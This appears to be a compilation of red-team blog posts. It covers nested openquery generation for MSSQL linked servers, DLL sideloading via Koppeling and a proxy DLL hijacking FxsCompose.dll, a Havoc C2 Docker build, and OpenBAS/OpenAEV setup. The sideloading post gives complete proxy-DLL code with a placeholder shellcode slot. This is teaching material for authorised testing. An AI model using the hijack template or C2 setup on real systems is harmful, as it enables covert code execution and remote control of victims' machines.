During many Red Team engagements, and Red Team exams we find ourselves grappling with MSSQL linked servers. One way to query a linked SQL servers is to use Openquery. &#x20;

![SQL Server Crawl](/files/-MTCBxVNhzTEmQMggBZd)

### The Openquery Problem

The problem with using openquery is that it gets really complicated with the numbers of quotes which grows exponentially. Its very easy to loose track and waste hours on debugging one simple osquery.

### The Solution&#x20;

I saw that [`PowerUpSQL`](https://github.com/NetSPI/PowerUpSQL) has some link crawling functionality for exploitation and they may have an automated way to generate queries. With some bit of digging, I was able to find `Get-SQLServerLinkQuery`&#x20;

I extracted it and made 1 line change to make it print the openquery commands. Following is the extracted powershell code

```csharp
Function Get-SQLServerLinkQuery{
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$false,
        HelpMessage="SQL link path to crawl. This is used by Get-SQLServerLinkCrawl.")]
        $Path=@(),
        
        [Parameter(Mandatory=$false,
        HelpMessage="SQL query to build the crawl path around")]
        $Sql, 
        
        [Parameter(Mandatory=$false,
        HelpMessage="Counter to determine how many single quotes needed")]
        $Ticks=0

    )
    if ($Path.length -le 1){
        return($Sql -replace "'", ("'"*[Math]::pow(2,$Ticks)))
    } else {
        Write-Output("select * from openquery(`""+$Path[1]+"`","+"'"*[Math]::pow(2,$Ticks)+
        (Get-SQLServerLinkQuery -path $Path[1..($Path.Length-1)] -sql $Sql -ticks ($Ticks+1))+"'"*[Math]::pow(2,$Ticks)+")")
    }
}
```

Above powershell script is also hosted at this github repository <https://github.com/shantanu561993/SQLServerLinkQuery>

### Usage

Usage of this script is simple. You can import the script with Import-Module and then run the following powershell command&#x20;

```csharp
Get-SQLServerLinkQuery -Path @(0,'a','b','c','d') -Sql "select * from db.tables"
```

where

`Path` represents the SQL servers to be crawled. `a, b, c and d`in this case are the four servers to be crawled. 0 in front of them is mandatory to make the query work properly

`Sql` represents the final SQL query you want to run on the SQL server `d` . In above example its `Select * from db.tables`

**Output**

The output of running above query will be

```csharp
select * from openquery("a",'select * from openquery("b",''select * from openquery("c",''''select * from openquery("d",''''''''whoami'''''''')'''')'')')
```

### Queries

If you have any queries on the usage reach out to me on <https://twitter.com/shantanukhande>


# DLL Sideloading


# DLL Koppeling

Short guide on How to use the Koppeling project

## What is DLL Koppeling?

It is a way to modify a DLL in a way that it could be utilised for DLL Sideloading

More details on why it is used and what's it purpose and why its better can be found here

{% embed url="<https://www.netspi.com/blog/technical/adversary-simulation/adaptive-dll-hijacking/>" %}
Details about Koppeling project
{% endembed %}

## How to use?

Quite easy, follow the below steps&#x20;

Step1:- Get an exe which you want to hijack. I will use whoami.exe

whoami.exe execution can be hijacked by placing wkscli.dll in same directory

Step2:- Make your malicious dll as malicious.dll

Step 3:- copy the malicious.dll to the directory where you place whoami.exe

Step 4:- run the below command&#x20;

```
Netclone.exe --target malicious.dll --reference  C:\windows\system32\wkscli.dll  --output wkscli.dll
```

&#x20;Step 5:- delete the malicious.dll

Step6:- you are now ready with the hijack exe and the associated DLL&#x20;


# DLL Sideloading not by DLLMain

Never run your payloads from the DLLMain

## Identifying potential hijacks

DLL sideloading is a technique that attackers can use to inject malicious code into a legitimate process by replacing or "sideloading" a dynamic-link library (DLL) that the process is dependent on. This can be a serious security concern because it allows attackers to execute arbitrary code on a victim's machine without the victim's knowledge.

To identify potential DLL sideloading hijacks, there are a few approaches you can take. One option is to use the WFH (Windows Function Hijacking) tool, which is specifically designed to detect DLL function hijacks. WFH is able to identify both DLLMain hijacks and GetProcAddress hijacks.

Alternatively, you can manually detect DLL sideloading hijacks using the Frida tool. To do this, you can use the Frida command line interface to attach to a running executable and then use a JavaScript script called "loadlibrary.js" (comes with WFH tool) to monitor for DLL loads.

To run WFH or Frida to detect DLL sideloading hijacks, you can use the following commands:

{% code title="Frida" overflow="wrap" %}

```
frida -f C:\Windows\System32\<any.exe> -l loadlibrary.js
```

{% endcode %}

<figure><img src="/files/CbDmQBjOZ0sEXh08gqNy" alt=""><figcaption></figcaption></figure>

```
python wfh.py -t C:\Windows\System32<any.exe> -m dll
```

When using either of these tools, you should be on the lookout for the following string of text in the output or log file, as it indicates a potential DLL export sideloading attack:

{% code overflow="wrap" %}

```
[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\FxsCompose.dll, LPCSTR: HrInitComposeFormDll
```

{% endcode %}

In this blogpost, we'll be hijacking WFS.exe which is present in Windows 11 operating system (if Windows fax service is enabled)

### Is that function really called

It is worth noting that the GetProcAddress functions listed in the output above may not always indicate a DLL sideloading attack. This can happen because the function call may have been prepared in advance using GetProcAddress, but the function was never actually called due to the arguments passed or the executable taking a different code path.

To find for sure if the function was called (which would result in DLL sideload) we will use another frida script as below&#x20;

{% code title="sure.js" overflow="wrap" lineNumbers="true" %}

```javascript
// to make sure the dll is loaded before the function intercept is introduced
const dllName = "C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll";
Module.load(dllName);

//find the address of the function
var pHrInitComposeFormDll = Module.findExportByName("FxsCompose.dll","HrInitComposeFormDll");


//intercept the call
Interceptor.attach(pHrInitComposeFormDll, {
    onEnter: function (args) {
        send("The function was called")
    },
    onLeave: function (retval) {
    }
});
```

{% endcode %}

To load this use the following command . Make note of --pause argument. The argument is used to pause the execution of the exe, allowing the script to load properly before exe runs

```
frida -f C:\Windows\System32\WFS.exe -l sure.js --pause
```

after running this, you will be in a pause state in frida console . Use the following command in frida console to continue execution of executable&#x20;

```
%resume
```

If you see the string "The function was called" in the output, it means that the function has been called and the DLL sideload will function as expected. This is a confirmation that the DLL sideloading attack was successful.

<figure><img src="/files/cHodchhTyF4Idqaucsbe" alt=""><figcaption><p>Frida DLL sideload confirmation</p></figcaption></figure>

We see that the string "The function was called", which confirms the presence of DLL sideload.

### Making a Sideloadable DLL

This is the point where many people just insert their payload into the DLLMain function and consider the task complete.

Here's how to do it quickly and correctly

#### &#x20;Step 1: Create a DLL project

<figure><img src="/files/VPwmzx43msoRVGiiijN6" alt=""><figcaption><p>Make a DLL project</p></figcaption></figure>

<figure><img src="/files/LxdNfDzgzYG2NMuO4UYm" alt=""><figcaption><p>Give it the name of DLL</p></figcaption></figure>

#### Step 2: You will see a blank project like below

<figure><img src="/files/iuwHVehqbhSRURGveSmz" alt=""><figcaption><p>Blank DLL Project</p></figcaption></figure>

#### Step 3: Create the pragma comment for proxying the calls to the original DLL. Use the following script to generate them quickly&#x20;

{% code title="comment.py" overflow="wrap" lineNumbers="true" %}

```python
import pefile
import optparse
import os

def test(path):
    if os.path.exists(path)==False:
        print("[-] File Not Found:{}".format(path))
    else:
        dllname=str(path).rstrip(".dll")
        formats="#pragma comment(linker,\"/export:{funcion}={dllname}.{funcion_},@{ordinal}\")"
        pe=pefile.PE(path)
        modules=pe.DIRECTORY_ENTRY_EXPORT.symbols
        for module in modules:
            modulename=module.name.decode()
            print(formats.format(funcion=modulename,dllname=dllname,funcion_=modulename,ordinal=module.ordinal))

if __name__ == '__main__':
    parser=optparse.OptionParser()
    parser.add_option('-f',dest="file",help="Dll Path")
    (option,args)=parser.parse_args()
    if option.file:
        test(option.file)
    else:
        print("Usage:python comment.py -f C:\\Windows\\System\\kernel32.dll")
        parser.print_help()
```

{% endcode %}

Run the script as follows&#x20;

```
python comment.py -f C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll
```

You will receive the following output

```
#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")

```

#### Step 4: Copy the lines to the project

<figure><img src="/files/49muDZ1J6PPocIf93NVx" alt=""><figcaption></figcaption></figure>

#### Step 5: Comment the function which we want to hijack which is HrInitComposeFormDll

<figure><img src="/files/cdX68J38Kq4PaOuXqqoq" alt=""><figcaption></figcaption></figure>

#### Step 6: Find the function prototype&#x20;

Use Ghidra, load the DLL and find the function in the export table

<figure><img src="/files/m8E4ouxY2zXr1r9yWNV2" alt=""><figcaption><p>Ghidra decomplication of FxsCompose.dll</p></figcaption></figure>

Copy the function definition and keep it handy&#x20;

#### Step 7: Define the proxy function in the def file&#x20;

Make a def file and provide the following text&#x20;

<figure><img src="/files/asJWo6xOu60hwSolpy8J" alt=""><figcaption><p>Add new item</p></figcaption></figure>

<figure><img src="/files/sd5uE0JWfSp6OJGAd8sJ" alt=""><figcaption><p>Provide a name</p></figcaption></figure>

Put the following contents

{% code title="FxsCompose.def" overflow="wrap" lineNumbers="true" %}

```
LIBRARY FxsCompose.dll
EXPORTS
	HrInitComposeFormDll=ProxyFunction
```

{% endcode %}

Line number 3 defines the function name to redirect the call to when HrInitComposeFormDll is called

Add the module definition setting in Visual Studio&#x20;

<figure><img src="/files/s1qd9YJj79tjXnsqq7Nh" alt=""><figcaption><p>Adding module definition file</p></figcaption></figure>

#### Step 8: Make the proxy function&#x20;

Before we add the proxy function, we need to make a typedef of the original function(HrInitComposeFormDll). This is required to pass the call to the original HrInitComposeFormDll once we load our payload&#x20;

the typedef is very similar to the function definition we saw in the Ghidra decompilation&#x20;

```cpp
typedef DWORD (*HrInitComposeFormDll_Type)(void);
```

the format is&#x20;

```cpp
typedef <output type> (*functionname_Type)(functionArguments)
```

Put this line after  the pragma comments like we previously added to dllmain.cpp&#x20;

Now its time to define the ProxyFunction . Again the prototype should be very similar to the original HrInitComposeFormDll function definition&#x20;

```cpp
DWORD ProxyFunction(void) {

    //Load your shellcode here.. I'm going to load MessageBox 
    MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);

    // Load original DLL and get function pointer
    HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
    HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");

    // Call original function
    DWORD result = Original_HrInitComposeFormDll();

    return result;
}
```

#### Below is the full dllmain.cpp code and FxsCompose.def&#x20;

```cpp
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"


#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
//#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")

typedef DWORD(*HrInitComposeFormDll_Type)(void);

DWORD ProxyFunction(void) {

    //Load your shellcode here.. I'm going to load MessageBox 
    MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);

    // Load original DLL and get function pointer
    HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
    HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");

    // Call original function
    DWORD result = Original_HrInitComposeFormDll();

    return result;
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


```

{% code title="FxsCompose.def" overflow="wrap" lineNumbers="true" %}

```cpp
LIBRARY FxsCompose.dll
EXPORTS
	HrInitComposeFormDll=ProxyFunction
```

{% endcode %}

#### Compile the DLL

You can include /MT or /MD flag optionally

<figure><img src="/files/Mcml7jUcVWvF0EoEYHje" alt=""><figcaption><p>Setting Runtime Library</p></figcaption></figure>

Compile the release DLL

#### Running the DLL Sideload

<figure><img src="/files/yRENg0uI8BrfT6HRZMqa" alt=""><figcaption></figcaption></figure>

Copy the exe and the DLL in one folder&#x20;

run the exe&#x20;

<figure><img src="/files/Z1rWVu5I455AyjXqX5A9" alt=""><figcaption></figcaption></figure>

### Project Files

On my GitHub here <https://github.com/shantanu561993/DLL-Sideload>


# Walking with Docker


# Self-Hosting Havoc C2 / or any other C2  in Docker

Running Havoc C2 server and client in Docker

## Why though ? and its not new

Well, its nothing new. However, recently I was stuck and wanted to run Havoc C2 on Windows. I didn't had a lot of choice. Running a VM is an obvious choice, but why run full OS with its large footprint on system memory. Plus I have pushed myself to run everything on docker. Here's how I over did it :joy:

## Docker Compose

We'll be running multiple services so we will use docker-compose

### Installing Havoc C2 Teamserver on docker

Installing Havoc C2 is pretty much officially documented [here](https://havocframework.com/docs/installation). Well follow the same steps.

Lets create a teamserver.Dockerfile

{% code title="teamserver.Dockerfile" overflow="wrap" lineNumbers="true" fullWidth="false" %}

```docker
# Using the latest debian OS
FROM debian:latest 
# Making teamserver directory and moving to it
WORKDIR /teamserver 
# Installing the requirements. 
# Added wget, sudo and setcap (libcap2-bin ) as they are required later in the build stage
RUN apt update -y && apt install -y git build-essential apt-utils cmake \
    libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev \
    libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev \
    libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev \
    qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
    libqt5websockets5-dev qtdeclarative5-dev \
    golang-go qtbase5-dev libqt5websockets5-dev python3-dev \
    libboost-all-dev mingw-w64 nasm \
    wget sudo libcap2-bin 
# Cloning the Repo
RUN git clone https://github.com/HavocFramework/Havoc.git .
# Installing Mods
WORKDIR /teamserver/teamserver
RUN go mod download golang.org/x/sys && \
    go mod download github.com/ugorji/go
#Building Teamserver 
WORKDIR /teamserver
RUN make ts-build
#Running Havoc
ENTRYPOINT ["/teamserver/havoc", "server" ,"--profile", "/teamserver/profiles/havoc.yaotl","-v","--debug"]
```

{% endcode %}

### Installing Havoc C2 Client

Now this is where fun begins. The client is GUI and this requires a couple of tweaks in the Dockerfile before we can reliably run client.&#x20;

One way is to forward X11 using SSH. While this may work, I am not a fan boy of forwarding X11 because it can get really slow.

Another option is to run the client in a VNC and use browser to access it. This to me seems like a viable option.

We will use NoVNC. You can also use KASMVNC but what good am I if I leaked all the goodness in one blog post. So we'll stick to NoVNC.&#x20;

Since out client container consists of multiple components (client + GUI), we need to use a process manager to launch and monitor them. Here, we’ll be using [`supervisord`](http://supervisord.org/). `supervisord` is a process manager written in Python that is often used to orchestrate complex containers.

First, we'll create and enter a directory called `havoc-client` for our container

```
mkdir ~/havoc-client
cd ~/havoc-client
```

Then we'll make a supervisord configuration file&#x20;


# Breach Attack Simulation - Starting With OpenBAS

Caldera has been in market for years, I have never tried it. I saw OpenBAS on my recommended lists in Github so I thought I might give it a try

## Installation

Since I have my docker server running I used that. There are ways to install it directly as well, I didn't go through it.&#x20;

I followed steps as per the docs&#x20;

```
mkdir -p ~/openBAS && cd ~/openBAS
git clone https://github.com/OpenBAS-Platform/docker.git .
```

### Changing Environment Variables

I did nothing in this regard. This was a local test for me. I just followed the installation guide and ran the following commands&#x20;

```
mv .env.sample .env
export $(cat .env | grep -v "#" | xargs)
```

### Starting the docker&#x20;

When I tried&#x20;

```
docker-compose up -d 
```

It gave me an error that the file *rabbitmq.conf* should have the full path.&#x20;

It seems like a simple fix in the *docker-compose.yml file.* Find the section about RabbitMQ and change the source to include a full path or a ./

```
rabbitmq:
    image: rabbitmq:4.0-management
    environment:
      - RABBITMQ_DEFAULT_USER=${RABBITMQ_DEFAULT_USER}
      - RABBITMQ_DEFAULT_PASS=${RABBITMQ_DEFAULT_PASS}
      - RABBITMQ_NODENAME=rabbit01@localhost
    volumes:
      - type: bind
        source: ./rabbitmq.conf #Fix This Line 
        target: /etc/rabbitmq/rabbitmq.conf
      - amqpdata:/var/lib/rabbitmq
    restart: always
```

After fixing the docker-compose.yml file. The `docker-compose up -d` command was successful. After a few minutes, the system was ready and I could reach the platform web UI at `http://localhost:8080`

### Login

The credentials were supplied in the `.env` file. I used that to log in.&#x20;

### Platform

The platform was nice and very intuitive to me. There is a 3 min short video of OpenBAS as well.

{% embed url="<https://www.youtube.com/watch?v=FJgceyZoY1g>" %}

### Installing the agent

The agent installation is a breeze. Click the top right button and follow the instructions&#x20;

<figure><img src="/files/HhuhWRT3jI6SbwY5ZZnB" alt=""><figcaption></figcaption></figure>

The next step is to run the agent as an admin and non-admin user. I leave that as an exercise to the reader. I am sure the reader of this blog post knows how to run a bunch of Powershell commands as an admin and non-admin user.&#x20;

### Creating a Scenario

Use the Scenarios button to list or create a scenario

<figure><img src="/files/1m6Y5qeF4B5tAZojyfFz" alt=""><figcaption></figcaption></figure>

For creating a scenario, use the bottom right bottom and provide details as follows&#x20;

<figure><img src="/files/7SIJr1WEqAuYhrWzR3yv" alt=""><figcaption></figcaption></figure>

I was only interested in running some tactics through my agent first. My larger goal would be to import tactics and run them for a specific threat group. I'll try that in a later post. For now, just running some tactics would be fine.

After creating the scenario, click on injects and import the tactics you want to run. For sampling, I imported a few injects related to process injection&#x20;

<figure><img src="/files/DuOUHVDwyhn2RvMxhcAH" alt=""><figcaption></figcaption></figure>

To add an inject, click on inject and click create&#x20;

<figure><img src="/files/pVfKibUKClCVRIXdzZNA" alt=""><figcaption></figcaption></figure>

Once you have the injects that you want, you will see something like this in your injects tab of the scenario you created.

<figure><img src="/files/CYys25UeTKvyIdWsmz4I" alt=""><figcaption></figcaption></figure>

Now lets change the missing content status to enabled. click update&#x20;

<figure><img src="/files/YW9WCW2VqYblMD6ha42G" alt=""><figcaption></figcaption></figure>

Now Add the missing content.&#x20;

<figure><img src="/files/GbsEftHJVaWgGHgUFcHv" alt=""><figcaption></figcaption></figure>

Once done, your TTP should be enabled. Now let's click Launch&#x20;

<figure><img src="/files/HDEtXd4U54tlbYMqhguU" alt=""><figcaption></figcaption></figure>

In a few moments, you will see the results&#x20;

<figure><img src="/files/WsbhVZ5b0HVc1acDuCHa" alt=""><figcaption></figcaption></figure>

### Final Thoughts

Looks pretty awesome at first glance. Will explore how to integrate with OpenCTI to include scenarios.&#x20;

### References

{% embed url="<https://github.com/OpenBAS-Platform/openbas>" %}

{% embed url="<https://docs.openbas.io/latest/>" %}


# Update - OpenBAS to OPENAEV. Performing Adversary Emulation

OpenBAS changed its branding to OPENAEV. How to set it up and start working

## Installation

Being a die-hard fan of Docker, I suggest you start by cloning the Docker repository of openAEV

```
https://github.com/OpenAEV-Platform/docker
```

### Changes to the env file

OpenAEV has done great job by providing a sample env file.&#x20;

```
cp .env.sample .env
```

The sample file is mostly fine for testing purposes, please do make changes as required if you are doing this in production.&#x20;

Minimal changes that are required to start with testing are&#x20;

{% code title=".env" %}

```
OPENAEV_HOST  ## Make sure you set it to the IP address if you are running it on a different address
OPENAEV_ADMIN_EMAIL ## A valid email address
OPENAEV_ADMIN_PASSWORD ## A complex password
OPENAEV_ADMIN_TOKEN ## Get a valid UUID_v4 from online generators

```

{% endcode %}

Below is the full env file, which I am using for testing

{% code title=".env" %}

```
###########################
# DEPENDENCIES            #
###########################

POSTGRES_USER=ChangeMe
POSTGRES_PASSWORD=ChangeMe
MINIO_ROOT_USER=ChangeMeAccess
MINIO_ROOT_PASSWORD=ChangeMeKey
RABBITMQ_DEFAULT_USER=ChangeMe
RABBITMQ_DEFAULT_PASS=ChangeMe
ELASTIC_MEMORY_SIZE=4G

# Emails
SMTP_HOST=smtp.gmail.com
SMTP_PORT=587
SMTP_USERNAME=ChangeMe@domain.com
SMTP_PASSWORD=ChangeMe
SMTP_AUTH=true
SMTP_SSL_ENABLE=true
SMTP_STARTTLS_ENABLE=false
IMAP_HOST=imap.changeme.com
IMAP_PORT=993
IMAP_USERNAME=ChangeMe@domain.com
IMAP_PASSWORD=ChangeMe
IMAP_AUTH=true
IMAP_SSL_ENABLE=true
IMAP_STARTTLS_ENABLE=false

###########################
# COMMON                  #
###########################

XTM_COMPOSER_ID=8215614c-7139-422e-b825-b20fd2a13a23
COMPOSE_PROJECT_NAME=xtm

###########################
# OPENAEV                 #
###########################

OPENAEV_HOST=192.168.1.27
OPENAEV_PORT=8080
OPENAEV_EXTERNAL_SCHEME=http
OPENAEV_ADMIN_EMAIL= openaev@openaev.com
OPENAEV_ADMIN_PASSWORD= openaev
OPENAEV_ADMIN_TOKEN=5c1a58ef-51d7-4098-820c-bee24948637a # [MANDATORY] Replace with a valid UUIDv4
OPENAEV_HEALTHCHECK_KEY=ChangeMe
OPENAEV_MAIL_IMAP_ENABLED=false

###########################
# OPENAEV COLLECTORS      #
###########################

COLLECTOR_MITRE_ATTACK_ID=3050d2a3-291d-44eb-8038-b4e7dd107436
COLLECTOR_OPENAEV_ID=63544750-19a1-435f-ada4-b44e39cf3cdb
COLLECTOR_ATOMIC_RED_TEAM_ID=c34e3f19-e0b9-45cb-83e0-3b329e4c53d3
COLLECTOR_NVD_NIST_CVE_ID=2caac5d2-31c7-4804-adfd-f92d1b2e7eda
COLLECTOR_NVD_NIST_CVE_API_KEY= #Optionnal but recommended

###########################
# OPENAEV INJECTORS       #
###########################

INJECTOR_NMAP_ID=76f8f4d6-9f6f-4e61-befc-48f735876a4a
INJECTOR_NUCLEI_ID=e1bad898-9804-427d-99e4-dc32c5f2898d

```

{% endcode %}

### Changes to the Docker Compose file

The default Docker file also requires openCTI to be running. It is thus necessary to remove the references to openCTI

{% code title="docker-compose.yml" %}

```
xtm-composer:
    image: filigran/xtm-composer:1.0.1
    platform: linux/amd64
    environment:
      - MANAGER__ID=${XTM_COMPOSER_ID}
      - "MANAGER__NAME=XTM Integrations Manager"
      - MANAGER__CREDENTIALS_KEY_FILEPATH=/keys/private_key.pem
      - OPENAEV__ENABLE=true
      - OPENAEV__URL=http://openaev:8080
      - OPENAEV__TOKEN=${OPENAEV_ADMIN_EMAIL}
      - OPENAEV__DAEMON__SELECTOR=docker
      - OPENAEV__DAEMON__DOCKER__NETWORK_MODE=${COMPOSE_PROJECT_NAME}_default
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - rsakeys:/keys:ro # RSA key mounted as read-only
    depends_on:
      rsa-key-generator:
        condition: service_healthy
      # opencti: ## not running opencti 
      #   condition: service_healthy ## not running opencti 
      rabbitmq:
        condition: service_healthy
    restart: always

```

{% endcode %}

Below is the full docker-compose.yml file&#x20;

{% code title="docker-compose.yml" %}

```
services:

  ###########################
  # DEPENDENCIES            #
  ###########################

  # Generate RSA key for xtm-composer (PKCS#8 format)
  rsa-key-generator:
    image: alpine/openssl:3.5.4
    volumes:
      - rsakeys:/keys
    entrypoint: [ "/bin/ash" ]
    command: [ "-c", "if [ ! -f /keys/private_key.pem ]; then openssl genpkey -algorithm RSA -out /keys/private_key.pem -pkeyopt rsa_keygen_bits:4096; fi && tail -f /dev/null" ]
    healthcheck:
      test: [ "CMD", "test", "-f", "/keys/private_key.pem" ]
      interval: 10s
      timeout: 5s
      retries: 3
    restart: always
  pgsql:
    image: postgres:17-alpine
    environment:
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
      POSTGRES_DB: openaev
    volumes:
      - pgsqldata:/var/lib/postgresql/data
    restart: always
    healthcheck:
      test: [ "CMD", "pg_isready", "-U", "${POSTGRES_USER}", "-d", "openaev" ]
      interval: 10s
      timeout: 5s
      retries: 5
  minio:
    image: minio/minio:RELEASE.2025-06-13T11-33-47Z
    volumes:
      - s3data:/data
    ports:
      - "9000:9000"
    environment:
      MINIO_ROOT_USER: ${MINIO_ROOT_USER}
      MINIO_ROOT_PASSWORD: ${MINIO_ROOT_PASSWORD}
    command: server /data
    restart: always
    healthcheck:
      test: [ "CMD", "mc", "ready", "local" ]
      interval: 10s
      timeout: 5s
      retries: 5
  rabbitmq:
    image: rabbitmq:4.2-management
    environment:
      - RABBITMQ_DEFAULT_USER=${RABBITMQ_DEFAULT_USER}
      - RABBITMQ_DEFAULT_PASS=${RABBITMQ_DEFAULT_PASS}
      - RABBITMQ_NODENAME=rabbit01@localhost
    volumes:
      - type: bind
        source: ./rabbitmq.conf
        target: /etc/rabbitmq/rabbitmq.conf
      - amqpdata:/var/lib/rabbitmq
    restart: always
    healthcheck:
      test: [ "CMD", "rabbitmq-diagnostics", "-q", "ping" ]
      interval: 10s
      timeout: 5s
      retries: 5
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:8.19.9
    volumes:
      - esdata:/usr/share/elasticsearch/data
    environment:
      # Comment-out the line below for a cluster of multiple nodes
      - discovery.type=single-node
      # Uncomment the line below below for a cluster of multiple nodes
      # - cluster.name=docker-cluster
      - xpack.ml.enabled=false
      - xpack.security.enabled=false
      - thread_pool.search.queue_size=5000
      - logger.org.elasticsearch.discovery="ERROR"
      # -XX:UseSVE=0 is necessary for Apple M4 architecture
      - "ES_JAVA_OPTS=-Xms${ELASTIC_MEMORY_SIZE} -Xmx${ELASTIC_MEMORY_SIZE} -XX:+IgnoreUnrecognizedVMOptions -XX:UseSVE=0"
      - "CLI_JAVA_OPTS=-XX:+IgnoreUnrecognizedVMOptions -XX:UseSVE=0"
    restart: always
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 65536
        hard: 65536
    healthcheck:
      test: curl -s http://elasticsearch:9200 >/dev/null || exit 1
      interval: 30s
      timeout: 10s
      retries: 50

  ###########################
  # COMMON                  #
  ###########################

  xtm-composer:
    image: filigran/xtm-composer:1.0.1
    platform: linux/amd64
    environment:
      - MANAGER__ID=${XTM_COMPOSER_ID}
      - "MANAGER__NAME=XTM Integrations Manager"
      - MANAGER__CREDENTIALS_KEY_FILEPATH=/keys/private_key.pem
      - OPENAEV__ENABLE=true
      - OPENAEV__URL=http://openaev:8080
      - OPENAEV__TOKEN=${OPENAEV_ADMIN_EMAIL}
      - OPENAEV__DAEMON__SELECTOR=docker
      - OPENAEV__DAEMON__DOCKER__NETWORK_MODE=${COMPOSE_PROJECT_NAME}_default
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
